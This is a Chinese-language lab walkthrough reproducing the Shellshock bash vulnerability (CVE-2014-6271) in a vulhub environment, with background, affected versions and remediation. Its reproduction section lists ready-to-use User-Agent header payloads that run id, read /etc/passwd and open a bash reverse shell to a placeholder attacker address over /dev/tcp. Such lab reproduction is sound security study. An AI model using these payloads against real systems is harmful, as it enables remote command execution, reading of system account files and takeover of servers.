简介
漏洞环境不另作说明均为vulhub。
参考链接:
在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(command interpreter,命令解析器)。它类似于DOS下的COMMAND.COM和后来的cmd.exe。它接收用户命令,然后调用相应的应用程序。(来自百科)
Shellshock 破壳漏洞(CVE-2014-6271)
参考链接:
- https://github.com/vulhub/vulhub/blob/master/bash/shellshock/README.zh-cn.md
- 分析:https://www.antiy.com/response/CVE-2014-6271.html
- https://zgao.top/bash破壳漏洞cve-2014-6271复现分析/
2014年9月24日bash被公布存在远程代码执行漏洞,漏洞会影响目前主流的操作系统平台,包括但不限于Redhat、CentOS、Ubuntu、Debian、Fedora 、Amazon Linux 、OS X 10.10
等平台。
“破壳”是Bash(GNU Bourne Again Shell)中出现的允许攻击者通过环境变量执行任意命令的漏洞。
漏洞影响范围:
- 漏洞影响的系统版本还是挺多的,但鉴于是14年的洞,所以该漏洞对于现在的影响也不是那么大。详细的漏洞影响版本可以参考
分析
链接,一般来说是bash版本小于等于4.3的可能存在漏洞。
漏洞复现
启动环境,该漏洞环境中存在两个页面:http://your-ip:8080/victim.cgi
和http://your-ip:8080/safe.cgi
。其中safe.cgi是最新版bash生成的页面,victim.cgi是bash4.3
生成的页面。这个环境可能有问题,如果访问的时候出现503
,尝试重新启动环境。
访问http://your-ip:8080/victim.cgi
页面,在User-Agent
中附加payload:
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id
User-Agent: () { :; }; echo; /bin/cat /etc/passwd
User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/your-ip/9999 0>&1;
漏洞修复
- 进行版本更新。
- 更新bash源码,针对ENV命令实现部分,进行边界检查与参数过滤。严格界定函数定义范围,并做合法化的参数的判断。